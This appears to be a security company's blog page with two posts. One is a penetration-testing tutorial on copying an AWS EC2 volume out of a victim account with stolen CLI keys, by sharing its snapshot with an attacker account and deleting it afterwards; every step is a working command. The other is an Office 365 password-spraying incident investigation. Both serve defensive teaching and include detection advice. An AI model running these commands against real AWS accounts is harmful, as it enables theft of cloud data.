Posts

How to Exfiltrate AWS EC2 Data

As Cloud infrastructure has become common, it has also become common for penetration testers to find themselves attacking clients that rely on e.g. AWS or Azure environments for handling, storing, and processing critical data.

There are many new and interesting attack paths an adversary can take once they have obtained some sort of access to the environment. For AWS, this is a short indicative list:

  • Pivoting via Roles and Policies.
  • Modifying Lambda functions.
  • Modifying CloudWatch logs.
  • Exfiltrating database backups.
  • Exfiltrating EC2 images and snapshots.

This article will focus on how to exfiltrate an EC2 (EBS) snapshot once an AWS CLI/API access key has been compromised. In AWS-speak, a snapshot is the backup of the contents of an EC2 instance.

Types of access

Broadly speaking, there are three types of credential that provide access to an AWS environment:

  • AWS Management Console (Web portal) email and password.
  • AWS CLI/API access keys.
  • Resource/Application specific credentials such as SSH private keys, usernames and passwords, or client-side certificates.

Security controls

Traditional security controls such as IP Whitelisting, MFA, and account lockout after subsequent login failures are supported to varying degrees, require hacks, and in some cases are outright not advised by the Cloud provider.

For example, account lockout after subsequent failed login attempts is not currently supported by AWS. Yes, adversaries can brute force their way into the AWS Management Console, assuming no MFA is implemented. One quick fix for this is to create a Lambda function that works off the back of CloudTrail logs – these logs however are not generated and processed in real time.

Another example is IP Whitelisting, both to the AWS Management Console and to the CLI/API access. Currently there is no easy and ubiquitous way of enforcing this. AWS provides a guide that helps towards this (https://aws.amazon.com/premiumsupport/knowledge-center/iam-restrict-calls-ip-addresses/) but within the same document the following note highlights its immaturity:

Due to the issues listed above, it is not uncommon for an attacker to be in a position to bypass the majority of the perimeter controls via the AWS CLI interface. This means that even if a developer needs to jump through multiple security gateways in order to access a private EC2 instance, by using AWS CLI an adversary can obtain direct access to its data.

Exfiltrating EC2 images and snapshots

In order to exfiltrate the desired EC2 data, the following steps need to be taken:

  1. Using the compromised credentials, we will create an EC2 snapshot from the desired EBS volume.
  2. Modify the permissions of the newly created snapshot so that it can be shared with our own AWS account.
  3. Using our own AWS account, create a new EBS volume from the shared snapshot.
  4. Attach the EBS volume to our EC2 instance and download its contents for analysis.

We will take advantage of the EBS snapshot sharing functionality of AWS. Specifically, use the modify-snapshot-attribute of AWS CLI and the --create-volume-permission option which will allow us to share it with another AWS account.

In order for the above to work, there are two conditions that need to be met:

  1. The compromised access keys need to have the necessary EC2 permissions to describe-volumes and create-snapshot.
  2. Your EC2 instance is within the same Region as the target.

Manual exfiltration via the CLI

The following commands utilise two credential profiles: victim, which contains the compromised AWS keys, and attacker, which contains our own credentials.

A note on permissions: AWS permissions can be complex to understand at first; there are many ways of granting an IAM user permissions, and unfortunately there is not single “show-permissions” command that will respond with all explicit and inherited permissions a user has. How AWS permissions, roles, policies, and groups work is outside the scope of this article. The following commands can be used, however, to navigate your way through the AWS permission maze:

aws iam list-groups-for-user --user-name

aws iam list-attached-group-policies --group-name

aws iam list-group-policies --group-name

aws iam list-attached-user-policies --user-name

aws iam list-user-policies --user-name

Identify

The first step is to list all the available EC2 instances and identify the EBS volumes that are attached to it:

aws ec2 describe-instances --profile victim --region us-east-1

This will output something similar to this:

Create and Share

The next step is to create a snapshot from the EBS volume that was identified previously. Before that, however, we need to know our own Account ID so that we can give access to it. A quick way of performing this is via the sts get-caller-identity command:

aws sts get-caller-identity --profile attacker

To create the snapshot, we will issue the following command:

aws ec2 create-snapshot --volume-id vol-0ffdb5642fa255c81 --profile victim --region us-east-1

Depending on the size of the volume, creation of a snapshot can take a few seconds or minutes to complete. The following command will query its state:

aws ec2 describe-snapshots --snapshot-id snap-0e39b84cde6992a01 --profile victim --region us-east-1

Once the snapshot creation process finishes, we proceed to grant “read” permissions to the attacker. Before we do that, lets see what happens when the attacker tries to query the snapshot:

aws ec2 describe-snapshots --snapshot-id snap-0e39b84cde6992a01 --profile attacker --region us-east-1

As expected, the attacker doesn’t yet have the appropriate permissions.

We address this by utilising the modify-snapshot-attribute command in conjunction with the attacker’s ID:

aws ec2 modify-snapshot-attribute --snapshot-id snap-0e39b84cde6992a01 --attribute createVolumePermission --operation-type add --user-ids [REDACTED] --profile victim --region us-east-1

The above command doesn’t give any output, but if we run the describe-snapshots command as the attacker we can verify that we can now access it:

Exfiltrate

Now that we have access to the target snapshot, we need to spin up an EC2 instance, create a new EBS volume using the target snapshot, and then attach that volume to the EC2 instance.

We need to know the InstanceId and in which availability zone it resides. Both can be found by issuing the describe-instances command, or by quickly checking the AWS Console.

aws ec2 create-volume --size 8 --availability-zone us-east-1b --volume-type gp2 --snapshot-id snap-0e39b84cde6992a01 --profile attacker --region us-east-1

Using the VolumeId, we attach the volume to our instance:

aws ec2 attach-volume --volume-id vol-02a5525559ea504af --instance-id i-0e930eb839bdf673d --device /dev/xvdf --profile attacker --region us-east-1

We can verify that the volume has been attached by issuing the lsblk command in our EC2 instance

The final step is to create a directory and then mount the volume:

sudo mkdir /data

sudo mount /dev/xvdf1 /data -t xfs

Note: you can identify the target file-system by issuing:

sudo lsblk --output NAME,TYPE,SIZE,FSTYPE,MOUNTPOINT,LABEL

At this point we have successfully mounted our target’s data in our own EC2 instance and we are ready to transfer them away from AWS.

Cleanup

We want to remove the snapshot that we originally created:

aws ec2 delete-snapshot --snapshot-id snap-0e39b84cde6992a01 --profile victim --region us-east-1

Additionally, we want to detach and delete the volume within our own environment:

sudo umount /data

aws ec2 detach-volume --volume-id vol-02a5525559ea504af --profile attacker --region us-east-1

aws ec2 delete-volume --volume-id vol-02a5525559ea504af --profile attacker --region us-east-1

Detection and response

The process of creating, sharing, and deleting snapshots leaves a number of log entries, including the following:

CreateSnapshot and DeleteSnapshot events can be very frequent in medium-to-large scale AWS deployments with automated backup processes. However, the ModifySnapshotAttribute is more interesting:

The sourceIPAddress is the IP address from where the attacker issued the AWS CLI command. The userAgent, as you can see, also includes the hostname from where the AWS CLI command was issued. @thesubtlety has written an interesting post on how to overcome this: https://www.thesubtlety.com/post/patching-boto3-useragent/

The most likely IOC here is the createVolumePermission entry, where it also identifies who this snapshot was shared with.

Having said that, AWS Logs operate on an approximate 15 minute delay. That means it can take up to 15 minutes for an AWS CLI command to appear in CloudTrail.

Recommendations

  • Deny the ec2:CreateVolumePermission action in all groups, roles, and users. It is unlikely that this will be required in most environments.
  • If the ec2:CreateVolumePermission action is required to satisfy business requirements, create a CloudWatch alert that goes off when the volume is shared with a non-whitelisted userId.
  • Key rotation should be implemented in all access keys, with more frequent rotation for highly-privileged principals.
  • Employ a granular permission policy based on the need to know principle.
  • Enforce MFA both to the management console and to the AWS CLI/API.

Conclusion

In this article we have shown how an adversary who has compromised a set of AWS access keys can bypass firewalls, private VPCs and bastion hosts, and directly exfiltrate the contents of an EC2 instance without needing logical access to the host itself nor requiring the root’s SSH keys.

There are many variations of this technique, including modifying the permissions of an S3 bucket that the snapshots reside in.

It comes to no surprise that traditional security principles such as defence in depth, key rotation, and granular access controls can help minimise the risk of an AWS environment data breach.

Lifting the clouds from cloud investigations

Nettitude’s IR team recently had an opportunity to investigate a breach in a cloud environment. The client had recently adopted Office 365 in a hybrid configuration to host a range of Microsoft services for users, including email and SharePoint. They had seen very heavy traffic on their web application and traced the activity back to an admin user. They had seen that this user had requested a password change for the web application; the new credentials were sent to the users corporate email account, therefore the assumption was that the users corporate email account was compromised. Several other user accounts had also requested password resets in the web application around the same time as the suspect administrator account. We were asked to determine if the corporate accounts had been compromised and, if so, how.

Office 365

This was a good opportunity to investigate Office 365 installations. Some interesting discoveries were made, which will be shared in this post.

We discovered that Multi-Factor Authentication (MFA) was not enabled for the cloud environment. MFA is not enabled by default when Office 365 is deployed. In addition it is not possible to configure the lock-out policy for failed logon attempts beyond the default 10 failures.

We quickly developed a hypothesis that the impacted accounts had been brute forced. The client informed us that they had already eliminated this possibility from an analysis of the log files; there were no extensive incidents of failed logons in the time leading up to the suspected compromise. We therefore requested access to the audit logs in Office 365 in order to validate their findings. The audit log interface can be found in the Security & Compliance Centre component of the web interface.

Anyone who has had to do a live analysis of Office 365 will know that it can be a frustrating experience. The investigator is presented with a limited web interface and must configure their search criteria in that interface. Results are presented in batches of 150 logs; to view the next 150 results the investigator must pull down a slider in the web interface and wait, often for minutes, before the results are presented. You then repeat this process in order to view the next batch of 150 logs, and so on.

You will find that analysis is much quicker if you use the “export” feature to export all of the filtered audit logs to a spreadsheet. However, this will present the investigator with a new set of challenges. Firstly, you should understand that auditing, when enabled, will log a vast array of user operations, many of which will not be relevant to the investigation. Secondly, the exported logs are not very user friendly at all. Each record consists of 4 fields:

  • CreationDate
  • UserID
  • Operations
  • AuditData

There are a vast array of key-value pairs, many of which are concatenated into a single field named AuditData. Thus an example of a single record might look something like this (much of the data has been edited to obscure traceable indicators)

The structure is not static across all records; the contents of the AuditData field will change depending what user operation has been performed. Therefore there will be a varying number of key-pair fields present which makes writing a parser challenging. Fortunately, Microsoft have published both the detailed audit properties and the Office 365 management activity API schema that we can use to understand the data in the audit logs.

Log Analysis

In the absence of an existing parser, we had a requirement to quickly process these logs so that the data could be analysed and presented in an understandable format. Realising that the data was structured, albeit with variable numbers of key-value pairs, we turned to our Swiss army knife for structured data – Microsoft Log Parser and Log Parser Studio front end.

For those not familiar with this tool, it is produced by Microsoft and allows a user to execute SQL-like queries against structured data to extract fields of interest from that data. We have previously published some LogParser queries to process sysmon event logs.

We wrote some quick and dirty queries to process exported Office 365 audit data. They are by no means comprehensive, but they should be sufficient to get you started if you need to analyse Office 365 audit log data. We are therefore publishing them for the wider community in our Github repository.

Below is an example of the LogParser query that we wrote to extract Failed Logon operations from the audit logs:

Analysis Results

Our initial analysis of the audit data matched the client’s findings; there was very little indication of failed logons to the impacted accounts prior to the suspected breach. However, our initial analysis was “vertical”; that is to say that it cussed on a single user account suspected of being compromised. We know from the daily investigations that we perform for our clients using our SOC managed service, that you don’t get the full picture unless you do both a vertical AND horizontal analysis. A horizontal analysis is one that encompasses all user accounts across a particular time-frame – normally one that includes the suspected time of a compromise.

We therefore re-oriented our investigation to perform a horizontal analysis. We exported all of the Office 365 audit data for all operations on all user accounts across a 30 minute time frame in the early hours of the morning of the suspected breach, when you would expect very little user activity. Our first finding was that there was significant volume of activity in the logs encompassing every single user account in the client’s estate. Once we applied our LogParser queries to the log data, it immediately became clear how the attack had occurred and succeeded. The data now showed the unmistakable fingerprint of a password spraying attack.

Password Spraying

Password spraying is a variation on traditional brute force attacks. A traditional brute force is directed against a single user account; a dictionary of potential passwords are attempted in sequence until the correct one is found or the dictionary is exhausted, in which case the attacker will configure a new account name to attack, then launch the dictionary attack on that account. However, an entry in a log file may be recorded for each failed attempt, so any organisation monitoring logs for failed attempts could detect this attack. In addition, the way to defend your organisation against such attacks is to configure a lock-out threshold on each user account, so that no further attempts to authenticate are permitted after a pre-configured number of failed attempts within a specified time frame.

Password spraying is a technique used by attackers to circumvent the previously described controls. Instead of attacking a single user account, the technique involves attacking a large number of accounts but with a potentially smaller dictionary. So if an attacker has a list of 300 user accounts and a dictionary of 2 passwords, the sequence of the attack would be:

  • UserAcct1: Password1
  • UserAcct2: Password1
  • UserAcct3: Password1
  • <snip>
  • UserAcct300:Password1
  • UserAcct1: Password2
  • UserAcct2: Password2
  • UserAcct3: Password2
  • <etc>

If the attacker is smart, they will throttle the attack in order to avoid any potential lock-out time thresholds. By the time the second password attempt is attempted on any particular account, hopefully (from the attacker’s point of view), the account will have moved outside of the lock-out threshold time frame. That is what happened in our investigation; the attacker had a list of over 1000 user accounts and was throttling their attack so that although they were trying one username/password combination per second, any particular user account was only subjected to about 2 password guesses per hour. This illustrates the value of conducting both horizontal and vertical analysis.

Analysis Conclusions

Our analysis concluded that 12 accounts had been successfully compromised during the password spraying attack. The indications were that the attacker only needed a dictionary of 100 potential passwords (or less) to compromise those 12 accounts. The average number of password guesses across the compromised accounts was around 60 before compromise, while the least amount of guesses required to compromise an account was 16. It was determined that the attack had been ongoing for over 24 hours before any component of the attack was detected.

It was determined that the client was using a password policy of a minimum of 8 character passwords, which is the default password policy for Office 365.

Investigation Curiosities

It was noted, during the investigation of the Office 365 logs, that the logs were inconsistent in terms of recording successful logons. We found analysis of the logs from the Clients AzureAD installation gave a much higher-fidelity view of successful logons.

There were also anomalies in the time stamps of some of the operations recorded in the Office 365 audit logs. We determined that users were spread over a number of different time zones and concluded that they had failed to configure the correct time zone when they first logged in to their Office 365 accounts. This can have a significant negative impact on the accuracy of the audit logs in Office 365 – we therefore advise all investigators to be cognisant of this issue.

The attacker appeared to have a very accurate and comprehensive list of valid user accounts relevant to the target organisation. We concluded that that this was obtained during a previous compromise of a user account within the organisation wherein the attacker downloaded the Global Address Book from the compromised account.

Summary

To summarise, the takeaways from this investigation:

  • Ensure MFA is enabled on your O365 installation.
  • Educate your users about password security.
  • Watch your logs; consider implementing a SIEM solution.
  • Export the logs from both O365 and Azure AD during an investigation.
  • Conduct a horizontal and vertical analysis of user logs for most accurate results.
  • Ensure that all users configure their correct time zone when they first log in to Office365.